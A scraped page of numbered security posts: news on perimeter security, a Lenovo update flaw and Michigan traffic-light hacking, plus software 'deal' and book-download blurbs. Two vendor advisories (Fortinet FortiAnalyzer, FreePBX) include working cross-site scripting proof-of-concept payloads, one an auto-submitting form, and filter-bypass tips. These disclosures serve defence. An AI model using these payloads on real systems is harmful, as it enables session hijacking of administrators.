detection of known and unknown DDoS attacks: Proof-of-Concept. Retrieved from http://www.inf.kcl.ac.uk/staff/richard/PAAMS-WASMAS_2014.pdf Surana, S. (2014). Intrusion Detection using Fuzzy Clustering and Artificial Neural Network. Retrieved from http://www.wseas.us/e-library/conferences/2014/Gdansk/FUNAI/FUNAI-32.pdf Vieira, K. (2010, August). Intrusion Detection for Grid and Cloud Computing. Retrieved from http://www.inf.ufsc.br/~westphal/idscloud.pdf Wang, L. (n.d.). Artificial Neural Network for Anomaly Intrusion Detection. Retrieved from https://www.cs.auckland.ac.nz/courses/compsci725s2c/archive/termpapers/725wang.pdf Zakaria, O. (n.d.). Identify Features and Parameters to Devise an Accurate Intrusion Detection System Using Artificial Neural Network. Retrieved from http://www.academia.edu/2612588/Identify_Features_and_Parameters_to_Devise_an_Accurate_Intrusion_Detection_System_Using_Artificial_Neural_Network Zamani, M. (2013, December 8). Machine Learning Techniques for Intrusion Detection. Retrieved from http://arxiv.org/pdf/1312.2177.pdf Source
  9. Defense in depth is dead. The way you’re thinking about data center security is outdated. Security started changing long before Sony, Target and the others got hacked. The problem starts with your perimeter. During a conversation with Pete Lindstrom of IDC, we paused to consider the state of defense in depth. “Circling wagons is just impossible,”Pete said. “With apps strewn across the internet, if a corporation thinks they can build perimeter around all their apps then they are nuts.” By expanding the definition of cloud computing to include cloud-based accounting, CRM, email services, and development tools, people discover that their organizations have been using cloud for years, without fully realizing it. In 2014, IDC reported that 69% of enterprises worldwide have at least one application or a portion of their computing infrastructure in the cloud. In Europe, adoption is also growing but at a slightly slower rate, with 19% of EU enterprises using cloud computing in 2014, according to the European Union‘s Eurostat. Bottom line: more enterprise data is living outside of the protected data center. When your definition of defense in depth is adding layers of security to the data center perimeter and physical data segmentation, modern cloud applications are indeed insecure. Instead, the enterprise should focus on the application, data, and user as the important security layers. In a 2015 report from Accenture and the Ponemon Institute, the authors note that proactive organizations are prioritizing network traffic anomalies, identifying vulnerabilities and limiting unauthorized data sharing, while the “static” companies focus on employees’ device security and data backup. Let’s examine the Sony Pictures hack. The Sony hackers gained access through former employees’ accounts, and easily cracked the perimeter. The real damage occurred once they exploited the weak internal network security. All the critical applications – email servers, accounting data, and copyrighted motion pictures – were all connected “on a wire” inside the corporate network. The perimeter-heavy, fortify-the-exterior approach to security is indeed dead. In fact, when it fails to stop cybercrime, this strategy can cost you upwards of $100M. Each enterprise application should be considered critical and deserves its own perimeter inside any network environment. With Sony, or any organization, critical data means all data. For a manufacturer, critical data might be product designs as well as the obvious accounting and customer data. Plus, nearly 85% of insider attacks or “privilege misuse” attacks used the target enterprises’ corporate local area network (LAN), according to a 2014 Verizon security report. To truly guard and protect an application, enterprises need to control all data and network traffic via secure, encrypted switches at every layer within a network. Defense shouldn’t end at the data center pediment, but extend down to each individual application. Monitored access, encryption, and application-specific firewall rules can all but eliminate malicious “east/west” movement inside a network. This approach to application-specific defense in depth continues the concept of physical segmentation into “application segmentation.” Each application owner within an organization can dictate how traffic flows to each application server through an encrypted network switch. When data passes through a secure application perimeter, application owners can easily monitor and isolate traffic and prevent unauthorized access. Even with only basic interior firewall rules, this enterprise can protect themselves from a Sony-style data exploit. Source
  10. HARDWARE FIRM Lenovo has been accused of offering its customers another free bonus security threat just weeks after the Superfish scandal. The firm has already fixed the problem, but the news, and its description as another "massive security risk", isn't good. Superfish was a scandal for the firm and affected a lot of its hardware. Lenovo disabled the software and took any associated financial losses on the chin. Ultimately, the firm said that it had failed its customers. "We recognise that the software did not meet that goal and have acted quickly and decisively. We are providing support on our forums for any user with concerns," Lenovo said at the time. "Our goal is to find technologies that best serve users. In this case, we have responded quickly to negative feedback and taken decisive actions to ensure that we address these concerns." Today we asked the firm to comment on the findings of IOActive Lab researchers who accused it of major vulnerabilities and a system that enables the creation and exploitation of fake credentials and the handing over of system control. IOActive Lab said in a security report (PDF) that the problem has been fixed, but that it had granted attackers the same kind of access as a system update, and allowed for the execution of code. Attackers could exploit an flaw in Lenovo's certificate authority methods, and use it to sign off their own executables which could have a range of capabilities. "Local and potentially remote attackers can bypass signature validation checks and replace trusted Lenovo applications with malicious applications," said the advisory. "These applications will then be run as a privileged user. The System Update downloads executables from the internet and runs them. "Remote attackers who can perform a man-in-the-middle attack can exploit this to swap Lenovo's executables with a malicious executable. "The System Update uses TLS/SSL to secure its communications with the update server, which should protect against [such] attacks. "In a statement Lenovo told the INQUIRER that it worked with the security firm after it was notified and patched the problem in April. It added that it appreciates the assistance, explaining that its update fixed all issues. "Lenovo's development and security teams worked directly with IOActive regarding their System Update vulnerability findings, and we value their expertise in identifying and responsibly reporting them," it said. "Lenovo released an updated version of System Update which resolves these vulnerabilities and subsequently published a security advisory in coordination with IOActive. Lenovo recommends that all users update System Update to eliminate the vulnerabilities reported by IOActive." Source
  11. Document Title: =============== Fortinet FortiAnalyzer & FortiManager - Client Side Cross Site Scripting Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1354 Security Bulletin FortiGuard: http://www.fortiguard.com/advisory/FG-IR-15-005/ PSIRT ID: 1327458 http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-3620 CVE-ID: ======= CVE-2015-3620 Release Date: ============= 2015-05-05 Vulnerability Laboratory ID (VL-ID): ==================================== 1354 Common Vulnerability Scoring System: ==================================== 3.5 Product & Service Introduction: =============================== FortiAnalyzer Centralized Logging and Reporting Appliances securely aggregate, analyze, and report on network log data gathered from Fortinet Network Security Appliances and other syslog-compatible devices. You can analyze and manage a wide range of data, including security events, network traffic, Web content, and email, to measure your security posture regulatory compliance. FortiAnalyzer is one of several versatile, adaptive Fortinet Network Security Management Products that support diverse deployment types, growth flexibility, advanced customization through APIs and simple licensing. Versatile models are designed for large organizations and multi-tenant environments, smaller networks and mid-enterprise organizations (Copy of the Vendor Homepage: http://www.fortinet.com/products/fortianalyzer/network-security-logging-reporting.html ) The FortiAnalyzer Virtual Security Reporting Appliances securely aggregate log data from Fortinet devices and other syslog-compatible devices. Using a comprehensive suite of easily-customized reports, users can filter and review records, including traffic, event, virus, attack, Web content, and email data, mining the data to determine your security stance and assure regulatory compliance. (Copy of the Vendor Homepage: http://www.fortinet.com/products/fortianalyzer/virtual-security-reporting.html ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered a client-side vulnerability in the Fortinet FortiAnalyzer & FortiManager v5.2 appliance web-application. Vulnerability Disclosure Timeline: ================================== 2014-12-01: Researcher Notification & Coordination (Benjamin Kunz Mejri) 2014-12-02: Vendor Notification 1 (Fortiguard Security - CERT Team) 2015-02-10: Vendor Notification 2 (Fortiguard Security - CERT Team) 2015-02-13: Vendor Response/Feedback (Fortiguard Security - CERT Team) 2015-04-30: Vendor Fix/Patch (Fortinet Developer Team) 2015-05-05: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Fortinet Product: FortiAnalyzer & FortiManager - Appliance Web Application 5.2 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A non-persistent input validation web vulnerability has been discovered in the official Fortinet FortiAnalyzer & FortiManager v5.2 appliance web-application. The security vulnerability allows remote attackers to manipulate client-side application to browser requests to compromise user/admin session information. The vulnerability is located in the `query and name` values of the `Reports > Advanced > Dataset > View Dataset` module. Remote attackers are able to inject malicious script codes to client-side application requests. Remote attackers are able to prepare special crafted weblinks to execute client-side script code that compromises the fortinanalyzer user/admin session data. The execution of the script code occurs in the test query display module. The attack vector of the vulnerability is located on the client-side of the online-service and the request method to inject or execute the code is GET. The appliance web-application filter prevents to execute script code tags after the request by the vulnerable inputs. To bypass the validation filter and protection mechanism of the fortinalayzer use the img, embed and iframe tags with onload to inject client-side script code. The problem is that the input filter does not capture the the context with the correct encoding as result the code bypass the filter of the appliance and executes as dom. The security risk of the non-persistent cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.5. Exploitation of the non-persistent cross site scripting web vulnerability requires no privileged web application user account and low user interaction. Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing, non-persistent external redirects, non-persistent load of malicious script codes or non-persistent web module context manipulation. Request Method(s): [+] GET Vulnerable Module(s): [+] Reports > Advanced > Dataset Vulnerable Parameter(s): [+] name [+] query Affected Module(s): [+] View Dataset - SQL RUN Query Display During the client security tests the research team noticed that the official vm version and the all appliance models are affected by the security issue. The following versions and models of the fortinet fortianalyzer appliance web-application are affected by the remote cross site scripting vulnerability. Affected Model(s): [+] FortiManager 5.2.0 GA, 5.2.1 GA [+] FortiManager 5.0.3 GA to 5.0.10 GA release [+] FortiAnalyzer 5.0.0 GA to 5.2.1 GA release Affected Version(s): [+] 5.2.0, 5.2.1, 5.0.3 to 5.0.10 & 5.0.0 to 5.21 (GA) Proof of Concept (PoC): ======================= PoC: https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22FGT60C3G12031338%5Broot%5D%22%5D& time-period=%7B%22week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C https://fortimanager.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22All_FortiGates%22%5D&time-period=%7B%22 week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C Exploit: PoC <html> <head><body> <title>Fortianalyzer & Fortimanager- Dataset "Query" - Cross Site Scripting PoC</title> <iframe src=https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22FGT60C3G12031338%5Broot%5D%22%5D& time-period=%7B%22week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C> <br> <img src=https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22FGT60C3G12031338%5Broot%5D%22%5D& time-period=%7B%22week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C> <br> <iframe src=https://fortimanager.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22All_FortiGates%22%5D&time-period=%7B%22 week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C> <br> <img src=https://fortimanager.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22All_FortiGates%22%5D&time-period=%7B%22 week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C> </body></head> </html> Source: Reports > Advanced > Dataset > View Dataset (1) > Query & Name <tr id="yui_3_5_0_1_1417083590427_1543"> <td id="yui_3_5_0_1_1417083590427_1542" colspan="2"> <input id="id_test_sql" value="Test" type="button"> </td> </tr> <!-- Output Console --> <tr> <td colspan="2" id="id_sql_console_output_td"> <div id="id_sql_console_output" class="yui3-skin-sam"><pre><code>ERROR: unterminated quoted identifier at or near ""><[NON-PERSISTENT INJECTED SCRIPT CODE!]) < ^ </pre></code></iframe></code></pre></div> <img id="id_query_response_waiting" src="/resource/images/loading.gif" style="display: none;" hidden="true"></td> </tr> </tbody> --- PoC Session Logs [GET] --- Status: 200[OK] GET https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22FGT60C3G12031338%5Broot%5D%22%5D&time-period=%7B%22week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C Load Flags[LOAD_BACKGROUND ] Größe des Inhalts[-1] Mime Type[application/json] Request Header: Host[fortianalyzer.127.0.0.1:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] X-Requested-With[XMLHttpRequest] X-CSRFToken[55cee37b45599df7afe8bdd27e66bc11] Referer[https://fortianalyzer.127.0.0.1:8080/p/report/dataset/list/html/?nocache=0.12978551249494386] Cookie[remoteauth=1; forRevert=0; vmConfirm=; tabPosition=; showSlave=1; add_dev_later=; auth_state=; CURRENT_SESSION=adwnZNbPJngbWvfmq6fFOjzR6pTT5dcsNud9dBOKw7orgbIzILoaor9Mn/6C825kjXLetWGNQvLlNJpt50Gbzw= csrftoken=55cee37b45599df7afe8bdd27e66bc11] Connection[keep-alive] Response Header: Server[Apache] Expires[-1] Pragma[no-cache] Cache-Control[no-cache] Vary[Accept-Encoding] Content-Encoding[gzip] Keep-Alive[timeout=30, max=72] Connection[Keep-Alive] Transfer-Encoding[chunked] Content-Type[application/json; charset=UTF-8] - Status: 200[OK] GET https://127.0.0.1:8080/p/report/dataset/list/html/x[NON-PERSISTENT INJECTED SCRIPT CODE!] Load Flags[LOAD_DOCUMENT_URI ] Größe des Inhalts[-1] Mime Type[text/html] Request Header: Host[127.0.0.1:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[https://127.0.0.1:8080/p/report/dataset/list/html/?nocache=0.12978551249494386] Cookie[remoteauth=1; forRevert=0; vmConfirm=; tabPosition=; showSlave=1; add_dev_later=; auth_state=; CURRENT_SESSION=adwnZNbPJngbWvfmq6fFOjzR6pTT5dcsNud9dBOKw7orgbIzILoaor9Mn/6C825kjXLetWGNQvLlNJpt50Gbzw= csrftoken=55cee37b45599df7afe8bdd27e66bc11] Connection[keep-alive] Response Header: Date[Thu, 27 Nov 2014 10:23:54 GMT] Server[Apache] Vary[Cookie,Accept-Encoding] Set-Cookie[csrftoken=55cee37b45599df7afe8bdd27e66bc11; expires=Thu, 26-Nov-2015 10:23:54 GMT; Max-Age=31449600; Path=/] Content-Encoding[gzip] Keep-Alive[timeout=30, max=70] Connection[Keep-Alive] Transfer-Encoding[chunked] Content-Type[text/html; charset=utf-8] Reference(s): https://fortianalyzer.127.0.0.1:8080/p/report/ https://fortianalyzer.127.0.0.1:8080/p/report/dataset/ https://fortianalyzer.127.0.0.1:8080/p/report/dataset/list/ https://fortianalyzer.127.0.0.1:8080/p/report/dataset/list/html/ https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/ https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/ Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse and encode of the vulnerable name and query input fields in the data set view module. Restrict the input fields and disallow special chars. Encode the test code display output to prevent client-side script code injection attacks. Security Risk: ============== The security risk of the client-side cross site scripting vulnerability in the dataset view module is estimated as medium. (CVSS 3.5) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2015 | Vulnerability Laboratory - Evolution Security GmbH ™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt Source
  12. Hacking Internet of Things (IoTs) has turned into a stunning practice for digital offenders out there, but messing with Traffic lights would be something more exciting for them. The hacking scenes in Hollywood films has recently been a wellspring of stimulation for the IT industry, in the same way as we’ve seen traffic lights hacked in Die Hard and The Italian Job, however these motion pictures dependably motivate programmers to perform comparable hacking assaults in everyday life. Security scientists at the University of Michigan have not just hacked traffic light signs in real life, additionally asserted that it’s really shockingly simple to perform by anybody with a laptop and the right sort of radio. On the off chance that we analyse the traffic light hacks in films and real life , in reality it’s much simpler. In a paper study, the security researchers tell us how an arrangement of real security vulnerabilities in traffic light frameworks permitted them to effortlessly and immediately seized control of the entire system of no less than 100 traffic signals in Michigan city from a solitary point of access. Specialists took permission from the road agency before performing the test, yet they didn’t reveal precisely where in Michigan they did they performed these exciting tests. LOOPS AND HOLES IN TRAFFIC SIGNALS The group, headed by University of Michigan computer scientist J. Alex Halderman, said that the network traffic frameworks are left helpless against three real vulnerabilities: * Decoded radio signs. * Utilization of factory set usernames and passwords. * A debugging port that is not difficult to attack. So these things leave the network accessible to everyone from professional hackers to script kitties. To save money on installation expenses and expand flexibility, the traffic light system makes utilization of remote radio signs instead of committed physical systems network links for its correspondence base – this gap was abused by the analysts. Shockingly, more than 40 states at present utilize such systems to keep traffic running as proficiently as they can. WIRELESS SECURITY IN THREAT The Traffic light use a combination of 5.8 GHz and 900 MHz radio signals, contingent upon the conditions at every intersection, for wireless correspondence in point-to-point or point-to-multipoint designs. The 900 MHz connections utilize “an exclusive convention with recurrence bouncing spread-spectrum (FHSS),” yet the 5.8 GHz version of the proprietary protocol is not quite the same as 802.11n. Researchers says that anybody with a laptop and a wireless card working on the same frequency as the wireless network traffic light — for this situation, 5.8 gigahertz — could get to the whole decoded system of networks. MAKING IT BETTER Presently, after getting access, next was to correspond with one of the controllers in their target system. This was carried out effectively because of the fact that the control boxes run VxWorks 5.5, a version which naturally gets built from source with a debug port left open for testing. This debug port permitted scientists to effectively turn all lights red or adjust the timing of neighbouring crossing points — for instance, to verify somebody hit all green lights on a given course. Additional, the capacity of a digital criminal to perform denial-of-service (DoS) attack on controlled intersections by setting off each intersection’s glitch management unit by attempting invalid setups, which would put the lights into a failure mode. FINAL SOLUTION Finally, the group called for manufactures and operators of the traffic signals to enhance the security of traffic signals network. It proposed that the traffic system’s administrators ought not to utilize default usernames and passwords, and they should stop broadcasting frequencies unprotected for onlookers and curious people. Besides, they additionally warned that gadgets like voting machines and even connected automobile could endure similar attacks. Now watch a New York car pass 55 straight green traffic light in 60secs | Daily Mail Online
  13. Advisory ID: HTB23253 Product: FreePBX Vendor: Sangoma Technologies Vulnerable Version(s): 12.0.43 and probably prior Tested Version: 12.0.43 Advisory Publication: March 18, 2015 [without technical details] Vendor Notification: March 18, 2015 Vendor Patch: March 27, 2015 Public Disclosure: April 22, 2015 Vulnerability Type: Cross-Site Scripting [CWE-79] CVE Reference: CVE-2015-2690 Risk Level: Low CVSSv2 Base Score: 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N) Solution Status: Fixed by Vendor Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) ----------------------------------------------------------------------------------------------- Advisory Details: High-Tech Bridge Security Research Lab discovered multiple XSS vulnerabilities in FreePBX, which can be exploited to perform Cross-Site Scripting (XSS) attacks against web application administrators. This vulnerability can be used to steal administratorâs cookies, perform phishing and drive-by-download attacks. 1) Multiple XSS vulnerabilities in FreePBX: CVE-2015-2690 Input passed via multiple HTTP POST parameters to "/admin/config.php" script (when "type" is set to "setup", "display" is set to "digiumaddons", "page" is set to "add-license-form", and "addon" is set to "ffa") is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website. The vulnerable HTTP POST parameters are: "add_license_key", "add_license_first_name", "add_license_last_name", "add_license_company", "add_license_address1", "add_license_address2", "add_license_city", "add_license_state", "add_license_post_code", "add_license_country", "add_license_phone", and "add_license_email". The exploitation example below will show JS pop-up displaying "ImmuniWeb": <form action="http://[host]/admin/config.php?type=setup&display=digiumaddons&page=add-license-form&addon=ffa" method="post" name="main"> <input type="hidden" name="add_license_key" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_first_name" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_last_name" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_company" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_address1" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_address2" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_city" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_state" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_post_code" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_country" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_phone" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_email" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_submit" value='Submit'> <input type="submit" id="btn"> </form> <script>document.main.submit()</script> ----------------------------------------------------------------------------------------------- Solution: Update Digium Addons Module of FreePBX installation to version 2.11.0.7 More Information: http://git.freepbx.org/projects/FREEPBX/repos/digiumaddoninstaller/commits/2aad006024b74c9ff53943d3e68527a3dffac855 ----------------------------------------------------------------------------------------------- References: [1] High-Tech Bridge Advisory HTB23253 - https://www.htbridge.com/advisory/HTB23253 - Reflected Cross-Site Scripting (XSS) in FreePBX. [2] FreePBX - http://www.freepbx.org - FreePBX is as an open source, web-based PBX solution. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVEÂŽ is a dictionary of publicly known information security vulnerabilities and exposures. [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. [5] ImmuniWebÂŽ SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model. ----------------------------------------------------------------------------------------------- Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References. Source: http://packetstorm.wowhacker.com/1504-exploits/freepbx-xss.txt
  14. Product Description Advanced SystemCare 8 PRO. Ultimate Performance Booster Boosts the speed of startup, Internet connection and the whole PC Protects you against spyware and adware in real time Optimizes, cleans, and fixes a variety of PC problems with just 1 click Protects your privacy by cleaning surfing traces automatically Advanced SystemCare 8 PRO provides automated and all-in-one PC care service with Malware Removal, Registry Fix, Privacy Protection, Performance Tune-up, and System Cleaning capabilities. It also creates superior and safer online experience with the latest Browser Anti-Tracking and Internet Boost technology, to ensure your top online security and maximum PC performance. Features: Basic System Clean, Fix and Optimization Ultimate System Tuneup for Top Performance Up to 300% Internet Speedup with Internet Booster Real-time Optimization with Active Optimize Deep Windows Registry Clean Maximum Hard Drive Performance Basic Protection from Security Threats Full Detection against Security Threats Safe Online Experience with Surfing Protection Auto Clean for Privacy Security Whenever You Log on Auto Update to the Latest Version Runs in the Background – Install and Forget It Fantastic New Skins & Themes Free 24/7 Technical Support on demand -> Download <-Deal Expire in:
  15. English | ISBN-13: 978-1466592612 | 532 pages | PDF | 23 MB In this book, web security expert Wu Hanqing reveals how hackers work and explains why companies of different scale require different security methodologies. With in-depth analysis of the reasons behind the choices, the book covers client script security, server applications security, and Internet company security operations. It also includes coverage of browser security, cross sites script attacks, click jacking, HTML5/PHP security, injection attacks, authentication, session management, access control, web frame security, DDOS, leaks, Internet transactions security, and the security development lifecycle. Link : Dropbox - Web Security: A WhiteHat Perspective
  16. Product Description Bitdefender Internet Security 2015 is the essential internet security software. It builds on technology awarded by AV-TEST Best Protection for three years straight, and Best Performance for system speed. Intuitive, it secures your device with just one click. It also prevents unauthorized access to your private information with a two-way Firewall and keeps children safe with Parental Control. Best Protection for 3 Straight Years. Best Security of 2014, PC MAG. Imperceptible. Fastest System Speed. Confirmed by AV-TEST. Easy to Use. Simple to Understand. Handle Security with a Single Click. Prevent Unauthorized Access to your Private Data. Two-Way Firewall. Keep your Kids Safe. Monitor Their Activity. Discrete Parental Control. Bitdefender Internet Security 2015 (100% Discount)
  17. zANTI is a mobile penetration testing toolkit that lets security managers assess the risk level of a network with the push of a button. This easy to use mobile toolkit enables IT Security Administrators to simulate an advanced attacker to identify the malicious techniques they use in the wild to compromise the corporate network.
  18. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 ## Advisory Information Title: FreeBSD 10.x ZFS encryption.key disclosure (CVE-2015-1415) Advisory URL: https://pierrekim.github.io/advisories/CVE-2015-1415.txt.asc Date published: 2015-04-07 Vendors contacted: FreeBSD Release mode: Coordinated release ## Product Description FreeBSD is a UNIX-like operating system. ## Vulnerability Summary FreeBSD 10.x installer supports the installation of FreeBSD 10.x on an encrypted ZFS filesystem by default. When using the encryption system within ZFS during the installation of FreeBSD 10.0 and FreeBSD 10.1, the encryption.key has wrong permissions which allow local users to read this file. Even if the keyfile is passphrase-encrypted, it can present a risk. ## Details By default, the encryption key file is /boot/encryption.key. Instead of being 0600, the permissions are 0644: $ ls -la /boot/encryption.key - -rw-r--r-- 1 root wheel 4096 Feb 17 15:16 /boot/encryption.key $ This file is readable by a local user. ## Vendor Response According to the vendor, a security advisory will be published, describing the problem and the solution. It concerns: - stable/10, 10.1-STABLE - releng/10.1, 10.1-RELEASE-p8 - releng/10.0, 10.0-RELEASE-p18 ## Report Timeline * Mar 01, 2015: Problem found by Pierre Kim * Apr 01, 2015: Vendor is notified of the vulnerability * Apr 01, 2015: Vendor confirms report and indicates a fix is prepared but there will be no security advisory format notification because of the nature of the problem * Apr 02, 2015: Pierre Kim asks a CVE number to the vendor * Apr 02, 2015: Vendor indicates to use CVE-2015-1415 and confirms that a signed notification to the mailing lists will be sent. * Apr 03, 2015: Pierre Kim contacts FreeBSD about the future notification * Apr 04, 2015: Vendor confirms a security advisory will be published next week * Apr 07, 2015: Vendor publishes a security advisory (FreeBSD-SA-15:08) * Apt 07, 2015: This advisory is sent to bugtraq@ ## Credit This vulnerability was found by Pierre Kim (@PierreKimSec). ## References https://www.freebsd.org/doc/handbook/bsdinstall-partitioning.html https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1415 https://www.freebsd.org/security/advisories/FreeBSD-SA-15:08.bsdinstall.asc ## Disclaimer This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQIcBAEBCAAGBQJVJF22AAoJEMQ+Dtp9ky28NDgP/iW9YALiZKLPVhnShFEhFO4C SvSza1s7LJkhtOH8qOGplzTrn8wSV5BNhwzMaIaKpksP5RjoCkynxvAw/OncazPl tsfHM89m7bQ4puyXF3eb6lMkfaIkxoDAXM5R5DFb2Q+3wg4SDygdM7+BQEdqCXDV 2B+ZNGae2CcsqLq04zjskFgY2bwqNMyX3GbbmUJvVI5IXQIS30e1lVIq8zxcK7u0 lKFlVyp+gdyusenPz0lCqR82Pe1IA3tHuNn2zw3/EudT4VhD789/t/0lEWlSyNg7 uiTCqFpQXnpEnvXEez1gZiDuNccIMXXYv0agB+/mYkkoviQPk5jqCwI5rvs+ppFU IH0gAafqS/UIl5+/dhDdIVDA4+r4WWLUxJfFkDy4ThCQHZtZMCsBYk3/RNJBPDUW JiVZWV8LSSHtYfWj7YoiCswuC9FLp6CT9e+/XQUJjpNrwfpeT5KlFOCFUKQXwV6W 5nUJnQhjVfrXVjeRuOvMCInSwG8DWbfyX75QMmJNyV7aPMrS2prRXbOlTLuQUyzP cJkmToeO4XE4COV+jvtC+c39Booy3r8yp3lfHmz1NXffiv6Ua+11vLamUeYOVPew r4TmionPpSeAx3ODhKEKGjW+HIkl9sx3WcSnEBl88Aqd3Zv77G3ok4usFz4PvPnb /hnH/lhpePtv13jyZpXc =pOPH -----END PGP SIGNATURE----- Source
